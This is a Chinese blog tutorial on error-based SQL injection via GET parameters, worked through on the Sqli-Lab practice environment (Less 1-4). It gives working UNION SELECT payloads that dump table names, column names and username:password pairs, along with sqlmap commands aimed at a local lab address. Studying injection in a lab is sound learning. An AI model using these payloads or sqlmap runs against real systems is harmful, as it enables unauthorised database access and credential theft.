当前位置:网站首页>SQL注入(2)
SQL注入(2)
2022-08-09 03:04:00 【CHIAJ176】
GET基于报错的SQL注入
SQL注入的分类
根据注入位置数据类型可将SQL注入分为两类:数字型和字符型。
数字型:
sql select * from table where id = 用户输入id字符型:
sql select * from table where id = '用户输入id'
GET基于报错的SQL注入发现
通过在URL中修改对应的ID值、为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \来探测URL中是否存在注入点。
实验:Sqli-Lab Less1~4,GET基于报错的SQL注入
Less1:
%27等价于’。
根据 ‘14’’ LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = 'id' limit 0,1;
#字符串类型
Less2:
根据 ’ LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = id limit 0,1;
#数字类型
Less3:
根据 ‘14’’) LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = ('id') limit 0,1;
#括号
Less4:
使用\ 具有转义作用。
根据 “”) LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = (''id'') limit 0,1;
#双引号,有隐形的类型转换
GET基于报错的SQL注入利用
1、利用order by 判断字段数:
select login_name,password from admin where id = 'id' limit 0,1;
#字符串类型
select login_name,password from admin where id = 'id' order by n--+' limit 0,1;
#order by

查询可利用端口:
http://192.168.81.128/sqli/Less-1/?id=0’ UNION SELECT 1,2,3 --+
http://192.168.81.128/sqli/Less-1/?id=0’ UNION SELECT 1,user(),database() --+
2、利用union select 联合查询,获取表名:
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3、利用union select 联合查询,获取字段名:
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= 'users' --+
4、利用union select 联合查询,获取字段值
0' union select 1,group_concat(uersname,0x3a,password),3 from users --+
利用Sqlmap测试
sqlmap -u “http://192.168.81.128/sqli/Less-1/?id=1”–dbs --batch
sqlmap -u “http://192.168.81.128/sqli/Less-1/?id=1”–D security --tables
边栏推荐
- SwiftUI * Grid
- 20220530设计问题:常数时间插入、删除和获取随机元素
- What are the most popular automated testing tools in 2022?The most complete and most detailed of the entire network is here
- Ingress的概念和原理
- 一本通1258——数字金字塔(动态规划)
- 如何应对网络攻击?
- 【信号去噪】基于Sage-Husa自适应卡尔曼滤波器实现海浪磁场噪声抑制及海浪磁场噪声的产生附matlab代码
- 【剑指offer】二进制中1的个数&&2的幂
- C18-PEG- ALD批发_C18-PEG-CHO_C18-PEG-醛基
- JavsScript系列-Promise的错误捕获
猜你喜欢

hcip MPLS 实验

LeetCode_43_字符串相乘

并查集相关知识点

Image.new() 及 img.paste() 的用法记录

Cholesterol-PEG-Maleimide,CLS-PEG-MAL,胆固醇-聚乙二醇-马来酰亚胺用于科研实验

win10上运行emwin

【剑指offer】二进制中1的个数&&2的幂

Take you do interface test from zero to the first case summary

redis集群详解

Jenkins environment deployment, (packaging, publishing, deployment, automated testing)
随机推荐
二分搜索法和二叉搜索树
使用TensorRT对AlphaPose模型进行加速
通过kvm创建共享磁盘
Chapter 2数据分析
让历史文化“活”起来,北京河图“万象中轴”助力打造北京城市金名片
关于eBPF与可观测性,你想知道的都在这里
SA-SSD环境搭建——血与泪的教训
i18n 国际化
Chrome的JSON美化插件
开发工程师必备————【Day05】UDP协议;进程的并发与并行
20220524搜索和排序:搜索二维矩阵II
【物理应用】基于El-centro地震波作用下隔震与非隔震支座下的顶层位移、速度、加速度的对比情况附matlab代码
CI/CD:持续集成/持续部署(难舍难分)
作为常用的荧光标记试剂Cy5 亚磷酰胺(CAS号:182873-67-2)有哪些特点了?
【CAS:41994-02-9 |Biotinyl Tyramide|】生物素基酪氨酰胺
Redis的过期策略和淘汰策略
[Redis] The core principle of master-slave replication
OpenLORIS-Object Datasets
权限系统就该这么设计(万能通用),稳的一批!
Lottie进阶和原理分析